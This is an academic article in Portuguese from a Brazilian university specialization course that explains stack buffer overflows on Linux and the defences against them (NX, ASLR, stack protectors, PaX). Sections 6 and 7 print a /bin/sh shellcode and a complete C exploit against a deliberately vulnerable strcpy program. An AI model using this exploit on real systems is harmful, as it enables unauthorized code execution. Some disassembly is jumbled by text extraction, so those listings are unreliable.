Buffer Overflow e Mecanismos de Defesa
Alex Van Margraf
Especialização em Redes e Segurança de Sistemas
Pontifícia Universidade Católica do Paraná
Curitiba, fevereiro de 2013
Resumo
Este artigo é o resultado de um estudo realizado para compreender o funcionamento de um
ataque que anos após sua descoberta desperta curiosidade e certa preocupação. O trabalho
introduz o conceito por trás das vulnerabilidades deixadas por programas mal projetados
que podem dar origem ao ataque de buffer overflow, mais especificamente os ataques em
estruturas de pilha na chamada de função em ambiente linux.
Ao abordar o assunto se fez necessário explicar os mecanismos de exploração (tais como
exploits e shellcodes) e os mecanismos de defesa (alguns já implantados no kernel do Linux)
que fazem com que a exploração de buffer overflow tenha um custo razoavelmente alto.
1 - Introdução
O primeiro documento detalhado sobre a técnica de stackoverflow foi escrito pelo
hacker Aleph One3 intitulado “Smashing The Stack For Fun And Profit” e publicado na
revista eletrônica phrack edição 49 de 08/11/1996.
Aleph One faz um estudo muito didático de como se conseguia um ataque de stack
overflow. Com o passar do tempo esta documentação tem ficado obsoleta, pois diversos
mecanismos de proteção foram criados.
Para o entendimento desse mecanismo de ataque é necessário conhecimento em:
assembly, organização de computadores e programação. Explanada de uma maneira
superficial a técnica consiste em substituir na memória o endereço de retorno da função para
apontar para outra posição na memória que contenha o código injetado, a substituição do
endereço de retorno ocorre quando uma quantidade de dados maior que a capacidade
declarada é adicionada em um buffer. Isso faz com que estruturas importantes do processo
sejam sobrepostas, por exemplo, o endereço de retorno da função que ao ser sobrescrita com o
endereço de outra posição da memória, poderá apontar para um código cuidadosamente
elaborado e se aproveitando da execução do programa.
2 – Estruturas do Processo
Um programa em execução é composto por um ou mais processos, esses processos
são divididos na memória em cinco regiões: Texto, dados, bss, heap e pilha [2]. A área de
texto permite somente leitura e armazena as instruções do programa. Qualquer tentativa de
gravar informações na área de texto resulta em falha de segmentação. O segmento de dados e
bss são utilizados para armazenar variáveis estáticas e globais. A região de heap é de tamanho
variável e é usada quando são usadas funções alocadoras, por exemplo, a função malloc do C.
A pilha possui tamanho variável, armazena variáveis locais da função, parâmetros
da função e valores de retorno da função, possui a característica de crescer no sentido inverso
da memória em direção à parte baixa. A Pilha é uma estrutura do tipo LIFO (o primeiro a
entrar será o ultimo a sair).
O registro SP é usado para manter o endereço do topo da pilha, que constantemente
muda à medida que os itens são inseridos ou retirados [2].
Quando o programa principal chama uma função ocorre um desvio de
processamento para a função, então o código da função estará sendo executado em outra
posição da memória e ao terminar a sua execução a função deve retornar o controle para a
próxima instrução, após aquela que lhe deu origem.
3 – Assembly
Para manipular o comportamento do programa vulnerável é necessário o uso de
ferramentas de debug e descompiladores como o GDB e objdump no Linux. Após
descompilar um programa o resultado será um código em assembly. Operações assembly na
sintaxe Intel seguem modelo: operação <destino>, <origem>, sendo que a origem ou o destino
podem ser um registrador, um endereço de memória ou um valor.
mov EAX, 0x01
mov EBX, 0x00
int 80h
Códigos em assembly possuem muitas operações com registradores, alguns desses
registradores são usados como acumuladores: eax (accumulator), ecx (counter), edx (data),
ebx (base), outros registradores como: esp (stack pointer), ebp (base pointer), esi (source
index), edi (destination index), eip (instrution pointer) responsável por apontar para a
instrução que esta sendo executada.
4 - Processos em Memória
Quando uma função é chamada, o sistema operacional cria uma região chamada pilha
(stack), que irá armazenar as informações para a execução da função.
Analisando o código abaixo extraído do artigo de Aleph One [3]:
void funct_buf(int a, int b, int c){
char buffer1[5];
char buffer2[10];
}
void main() {
funct_buf(1,2,3);
}
Quando o ponteiro de instrução EIP apontar para a chamada da função funct_buf em
main, os três parâmetros da função serão empurrados para a pilha em ordem reversa, seguido
pelo endereço de retorno da função, que será responsável por indicar ao processo como
retornar a execução no ponto onde foi desviado.
0x00000000000
Prolog
pushl %ebp
movl %esp,%ebp
subl $n,%esp
SP
0x00000000
000
Pilha
Main()
BP
Retorno
Parâmetro 3
Contexto da Função
“funct_buf”
Parâmetro 2
Parâmetro 1
Contexto da Função
“Main”
0xFFFFFFFFFF
Figura 1: processo antes do prolog
Endereço de memória
Parâmetro 1
BP
SP
Pilha cresce
Parâmetro 2
Endereço de memória
Parâmetro 3
Pilha cresce
Retorno
cresce
SP
1
2
Main()
0xFFFFFFFFFF
Figura 2: procedimento de prolog
Na chamada da função é realizada primeiramente uma rotina chamada prolog, que
prepara a pilha para receber as variáveis da função, conforme observado nas figuras 1 e 2.
Inicialmente o BP está apontando para uma posição no contexto principal, em seguida o
prolog copia o valor do SP (stack pointer) para o BP, e finalmente o SP é movido para obter
espaço para variáveis internas, a figura 2 ilustra esse processo.
Epilog é nome dado ao processo contrario onde o SP retorna a posição original.
5 – Descobrindo a Falha
A maioria das vulnerabilidades de buffer overflow acontece devido a erros do
programador, quando ele não verificava com antecedência os limites do buffer ao utilizá-lo.
Nas primeiras versões o GCC também não verificava os limites dos espaços alocados
ao se inserir um valor no buffer.
Um exemplo de código vulnerável pode ser visto abaixo:
#include <stdio.h>
#include <string.h>
int main( int argc, char **argv )
{
char buf[5];
strcpy( buf, arg[1] );
return 0;
}
A função strcpy deixa o código acima vulnerável, pois ela não faz uma verificação no
tamanho do buffer antes de copiar os valores para ele. Hoje o GCC alerta sobre este tipo de
vulnerabilidade quando compila o código.
Para fazer um teste pode ser desativada a proteção do GCC sobre a pilha (-fno-stackprotector). O comando abaixo demonstra isso:
alvm@alvm-desktop:~$ gcc -fno-stack-protector -mpreferredstack-boundary=2 -O0 -g -o test teste.c
O esperado seria que o programa apresentasse falha de segmentação quando inserido o
sexto valor (lembrando que o buffer tem um tamanho de cinco), mas a falha ocorre quando se
sobrescreve estruturas críticas do programa além do tamanho do buffer.
alvm@alvm-desktop:~$
alvm@alvm-desktop:~$
alvm@alvm-desktop:~$./teste
alvm@alvm-desktop:~$./teste
alvm@alvm-desktop:~$./teste
alvm@alvm-desktop:~$./teste
alvm@alvm-desktop:~$./teste
Falha de segmentação
AAAAA
AAAAAA
AAAAAAA
AAAAAAAA
AAAAAAAAA
Usando o GDB para o debug e o comando “r AAAAAAAAAAAA” para passar o
parâmetro para o programa.
alvm@alvm-desktop:~$ gdb -q teste
Lendo símbolos de /home/alvm/teste...concluído.
(gdb) r AAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/alvm/teste AAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
Usando o comando “i r eip” para ver o valor no registrador eip. O resultado é o
endereço de retorno substituído pelo 0x41 valor hexadecimal de “A”.
(gdb) i r eip
eip
0x414141 0x414141
6 – Shellcode / Payload
É o código elaborado para ser injetado dentro do espaço de memória de um programa
vulnerável, com o objetivo de obter o controle sobre o fluxo de execução do programa.
Os shellcodes são códigos (object code) que o processador interpreta de forma nativa.
Uma característica na elaboração dos shellcodes é a preocupação em eliminar os
chamados “bad chars”, um exemplo de um bad char é o byte nulo (0x00), este caractere na
maioria dos sistemas significa fim de texto, quando uma função está lendo uma entrada e
encontra este caractere a leitura é encerrada.
Os shellcodes interagem com o sistema operacional através de chamadas de sistema
(syscalls).
Em assembly para executar uma chamada de sistema é preciso seguir alguns passos:
1 - O registrador EAX deve receber o valor da syscall.
2 - Os demais registradores (EBX, ECX, EDX, ESI, EDI, EPB) ficam a disposição
para receber os parâmetros da syscall.
3 - Executar a instrução int 0x80 (modo kernel);
Para exemplificar a montagem de um shellcode temos um código em C logo abaixo:
#include <stdio.h>
void main() {
char *nome[2];
nome[0] = "/bin/sh";
nome[1] = NULL;
execve(nome[0], nome, NULL);
}
Para elaborar um shellcode do programa acima temos que usar a função disassemble
do GDB.
$ gcc -o shellcode -ggdb -static shellcode.c
$ gdb shellcode
GDB is free software and you are welcome to distribute copies
of it
under certain conditions; type "show copying" to see the
conditions.
There is absolutely no warranty for GDB; type "show warranty"
for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
1 <main>:
pushl %ebp
2 <main+1>:
movl
%esp,%ebp #Prelude
3 <main+3>:
subl
$0x8,%esp
4 <main+6>:
movl
$0x80027b8,0xfffffff8(%ebp) #nome[0] =
"/bin/sh";
5 <main+13>:
movl
$0x0,0xfffffffc(%ebp) #nome[1] = NULL;
6 <main+20>:
pushl $0x0 #inserindo parametro na pilha em
ordem inversa (NULL)
7 <main+22>:
leal
0xfffffff8(%ebp),%eax #carrega nome[]
para eax
8 <main+25>:
pushl %eax #coloca endereço de nome na pilha
9 <main+26>:
movl
0xfffffff8(%ebp),%eax #coloca endereço
de nome[0] em eax
10 <main+29>:
pushl %eax #coloca eax na pilha
11 <main+30>:
call
0x80002bc <__execve> #chama execve()
12 <main+35>:
addl
$0xc,%esp
13 <main+38>:
movl
%ebp,%esp
14 <main+40>:
popl
%ebp
15 <main+41>:
ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
16 <__execve>:
pushl %ebp
17 <__execve+1>: movl
%esp,%ebp #Prelude
18 <__execve+3>: pushl %ebx
19 <__execve+4>: movl
$0xb,%eax # copia syscall 11 em
hexa(0xb) para pilha
20 <__execve+9>: movl
0x8(%ebp),%ebx # copia “/bin/sh” em EBX
21 <__execve+12>:
movl
0xc(%ebp),%ecx #copia endereço
nome[]em ECX
22 <__execve+15>:
movl
0x10(%ebp),%edx #copia endereço
null pointer em EDX
23 <__execve+18>:
int
$0x80 #executa instrução
24 <__execve+20>:
movl
%eax,%edx
25 <__execve+22>:
testl
26 <__execve+24>:
jnl
27 <__execve+26>:
negl
28 <__execve+28>:
pushl
29 <__execve+29>:
call
<__normal_errno_location>
30 <__execve+34>:
popl
31 <__execve+35>:
movl
32 <__execve+37>:
33 <__execve+42>:
34 <__execve+43>:
35 <__execve+45>:
36 <__execve+46>:
37 <__execve+47>:
End of assembler dump.
movl
popl
movl
popl
ret
nop
%edx,%edx
0x80002e6 <__execve+42>
%edx
%edx
0x8001a34
%edx
%edx,(%eax)
$0xffffffff,%eax
%ebx
%ebp,%esp
%ebp
Olhando para as instruções é possível enumerar os passos a serem seguidos:
a) Ter uma string “/bin/sh” na memória.
b) Ter o endereço da string “/bin/sh”.
c) Copiar execve - syscall 11 que em hexa fica 0xB no registrador EAX.
d) Copiar o endereço da string “/bin/sh” no registrador EBX.
e) Copiar o endereço da string “/bin/sh” no registrador ECX.
f) Copiar o endereço de NULL para o registrador EDX.
g) Executar a instrução int $0x80.
É preciso finalizar a execução de maneira confiável, sendo necessário usar a syscall
exit da seguinte forma:
h) Copiar 0x1 no registrador EAX (syscall 1 que em hexadecimal fica 0x1).
i) Copiar 0x0 no registrador EBX (insere zero como parâmetro da syscall exit, para
sinalizar sucesso).
j) Executar a instrução int $0x80.
Não se sabe onde na memória o shellcode estará alocado. Uma maneira de contornar
isso é usar JMP. A instrução JMP permite saltar para um label que contenha uma chamada
CALL, a chamada CALL irá colocar a próxima instrução na pilha como se fosse o endereço
de retorno da chamada, mas o que ele acaba colocando na pilha é uma string.
Um template básico pode ser visto abaixo:
jmp two
one:
pop ebx
[application code]
two:
call one
db 'string'
Uma versão modificada do shellcode em assemble ficaria assim:
jmp two
one:
popl
%esi
movl
%esi,0x8(%esi)
movb
$0x0,0x7(%esi)
movl
$0x0,0xc(%esi)
movl
$0xb,%eax
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
null-offset(%esi),%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
two:
call one
db '/bin/sh'
Após montar o shellcode em assembly é preciso transformá-lo em object code, que são
caracteres diretamente interpretados pelo processador. Depois de compilar o programa .asm e
“linkedita-lo”, será extraído os object codes com o utilitário objdump.
$ nasm -f elf shellcode.asm
$ ld –o shellcode shellcode.o
$ objdump –d shellcode
Após a eliminação dos bad chars e a concatenação dos object codes em uma string o
resultado será um código parecido com o abaixo:
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x
0b\x89\"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";
7 - Explorando a Falha
O objetivo ao explorar um buffer é fazer com que o processador execute instruções
injetadas no programa em execução.
Tomando como exemplo o programa abaixo para elaborar um exploit:
// overflow.c
#include <stdio.h>
void mostra_string(char *s)
{
char buffer[64];
strcpy(buffer, s); //função vulneravel
printf("String: %s\n", buffer);
}
int main(int argc, char *argv[])
{
mostra_string(argv[1]);
return 0;
}
Executando o código acima e forçando a falha:
./overflow `perl -e 'print "A" x 2000'`
Descobrindo o endereço de retorno:
gdb ./overflow core
GNU gdb 2002-04-01-cvs
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty"
for details.
This GDB was configured as "i386-linux".
Core was generated by
`aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...(no debugging symbols
found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols
found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info register esp
esp
0xbffff334
0xbffff334
O programa acima não verifica o tamanho da string que esta sendo copiada para o
buffer na função “strcpy.
Um exploit de buffer overflow forçará o estouro do buffer, injetando uma cadeia de
caracteres previamente elaborada chamada shellcode ou payload.
Um exemplo de exploit para o programa overflow.c pode ser visto abaixo:
//exploit
#include <stdlib.h>
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89
\"
"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";
#define NOP 0x90 //instrução de maquina para um valor sem operação
#define LEN 1024+8
#define RET 0xbffff334
int main()
{
char buffer[LEN]; int i;
/* preenche o buffer com NOPs */
for (i=0;i<LEN;i++)
buffer[i] = NOP;
/* copia o shellcode para a posição inicial do buffer */
memcpy(&buffer[LEN-strlen(shellcode)-4],shellcode,
strlen(shellcode));
/* copia para os 4 ultimos bytes o endereço de retorno */
*(int*)(&buffer[LEN-4]) = RET;
/* executa o programa vulneravel e passa como
parametro o buffer com o shellcode */
execlp("./overflow","./overflow",buffer,NULL);
return 0;
}
O programa acima declara uma variável shellcode que possui os bytecodes feitos a
partir de código assembly para retornar um terminal shell. O programa declara um buffer de
1024 mais 8 bytes que representa o EBP e o endereço de retorno, sendo o buffer maior que o
shellcode ele preenche o buffer com NOP’s. NOP ao ser interpretado pelo processador é o
mesmo que dizer para ele não fazer nada.
O endereço de retorno é adicionado no final do buffer e em seguida será executado o
programa overflow através da função C execlp, que além do nome do programa que será
executado, também recebe o shellcode. O resultado será a execução do shellcode dentro do
escopo de execução do programa vulnerável.
8 – Mecanismos de Defesa
PaX (Page-Exec) foi um projeto com objetivo de criar mecanismos para dificultar ao
máximo as explorações que atacam endereços de memória vulneráveis. O PaX não se prende
unicamente em impedir ataques de buffer overflow, mas contribui para que isso se torne uma
tarefa mais difícil.
Existem outros mecanismos de defesa que tratam exclusivamente de buffer
overflow, como StackGuard e o Stack-Smaching Protector ( ProPolice SSP), ambos são
melhorias de segurança para o compilador GCC.
O StackGuard esteve presente até a versão 3.x do GCC e a partir da versão 4.1 o
GCC passou a adotar o ProPolice.
O Pax procura impedir alguns tipos de ataques entre eles:
- Os que tentam executar código arbitrário, por exemplo, os shellcodes.
- Os que tentam executar código fora da ordem pré-estabelecida, normalmente isso
feito por ataque de retorno da função libc ou retlibc.
O Pax fornece proteção contra execução em espaço de endereçamento não
executável usando a funcionalidade do Bit NX.
O objetivo do Bit NX é impedir que códigos sejam executados em áreas de memória
não executável. Este recurso pode estar disponível por hardware nos processadores modernos.
O termo Bit NX foi criado pela fabricante de processadores AMD e nos
processadores intel foi chamado de bit XD, as duas funcionam da mesma maneira.
Vários sistemas operacionais suportam o bit NX entre eles: Windows XP Service
Pack 2 em diante, Linux a partir da versão 2.6.8 do kernel, e Mac OS X.
A tecnologia bit NX usa o bit mais significativo da paginação da memória como
flag, se o bit for zero, o código pode ser executado, se for um, o código não será executado
naquela página.
Bit NX é uma tecnologia disponível para processadores com núcleo de 64 bits. Em
processadores que não suportam o Bit NX, por exemplo, as CPUs 32bits x86, neste
mecanismo pode ser emulado pelo sistema operacional, mas tal técnica pode gerar um
overhead quando comparado ao bit NX nativo no hardware.
O Pax especifica dois métodos de emulação: o SEGMEXEC e PAGEXEC, ambos
são mecanismos que protegem áreas de memória não executável. Outra técnica de proteção
muito importante, chamada Address Space Layout Randomization (ASLR), criada pelo PaX
em 2000, sendo que este projeto originou um patch para o kernel do Linux que faz com que
os segmentos de um processo sejam alocados de forma aleatória na memória. Sem o ASLR os
segmentos eram mapeados nos mesmo endereços a cada execução.
Mesmo com o ASLR ainda é possível explorar algumas brechas, o que o ASLR faz
é aumentar significativamente o custo de uma exploração. Existem técnicas de ataque que
exploraram segmentos de memória que o ASLR não protege, por exemplo, segmentos de
dados, código e BBS.
A técnica mais empregada na tentativa de passar pela proteção do ASLR é a de força
bruta.
Um projeto similar ao PaX chamado ExecShield foi desenvolvido pela Red Hat, este
projeto deu origem a um patch, para emular a funcionalidade do bit nx.
Uma das coisas que o ExecShield fazia era sinalizar a memória quanto a posições
onde os dados não deveriam ser executados, tentando eliminar assim vulnerabilidades como
estouro de buffer e shellcodes.
O ExecShield fornecia algumas funcionalidades de ASLR para a chamada de
sistema mmap(), responsável por alocar espaço de memória virtual para os processos em
ambiente POSIX. O ExecShield contribuiu para a proteção do kernel com a randomização de
espaços de endereçamento de memória e para o desenvolvimento do GCC stack-protector.
O Grsecurity é outro grupo que fornece um path que incorpora as funcionalidades do
PaX e alguns recursos adicionais, por exemplo, três níveis de segurança configuráveis: baixo,
médio e alto. Dentro destes níveis de segurança é possível configurar algumas opções como:
auditoria do kernel, proteção em nível de file system, controle baseado na função (RBAC),
opções de proteção em nível de rede e as proteções do projeto PaX.
9 – Conclusão
Após dezessete anos do artigo de Aleph One, muita coisa mudou a respeito de
segurança contra buffer overflow. Se formos seguir a documentação original, nas atuais
distribuições Linux, não será possível repetir os resultados sem antes desabilitar alguns
mecanismos de proteção, os quais na sua maioria foram expostos neste trabalho. Mesmo com
os recursos de segurança existentes, novas técnicas de subversão acabam surgindo, nos
fazendo lembrar de que não existe segurança garantida cem por cento.
10 – Referências
[1] KURTZ, George; MCCLURE, Stuart; SCAMBRAY, Joel. Hackers Expostos. 4ª Ed. Rio
de Janeiro: Campus, 2003.
[2] ERICKSON, Jon. Hacking. 1ª Ed. São Paulo: Digerati Books, 2009.
[3] PHRACK MAGAZINE. Ed. 49. Disponível em:
http://www.phrack.org/issues.html?issue=49&id=14#article. Acesso em: 02 de Nov. 2012.
[4] MIKHALENKO, Peter. How Shellcode Work. Disponível em:
http://linuxdevcenter.com/pub/a/linux/2006/05/18/how-shellcodes-work.html?page=1. Acesso
em: 28 de Out. 2012.
[5] OLIVEIRA, Leandro. Hello World em Shellcode. Disponível em:
http://blog.tempest.com.br/leandro-oliveira/hello-world-shellcode.html. Acesso em: 28 de
Out. 2012.
[6] MAKOWSKI, Paulo. Smashing the Stack in 2011. Disponível em:
http://paulmakowski.wordpress.com/2011/01/25/smashing-the-stack-in-2011/. Acesso em: 06
de Ago. 2012.
[7] HEFFNER, Craig J. Smashing The Modern Stack For Fun And Profit. Disponível em:
http://www.ethicalhacker.net/content/view/122/2/. Acesso em: 15 de Ago. 2012.
[5] DOCUMENTATION FOR THE PAX PROJECT. Disponível em:
http://pax.grsecurity.net/docs/index.html. Acesso em: 10 de Jan. 2013.
Download

Alex Van Margraf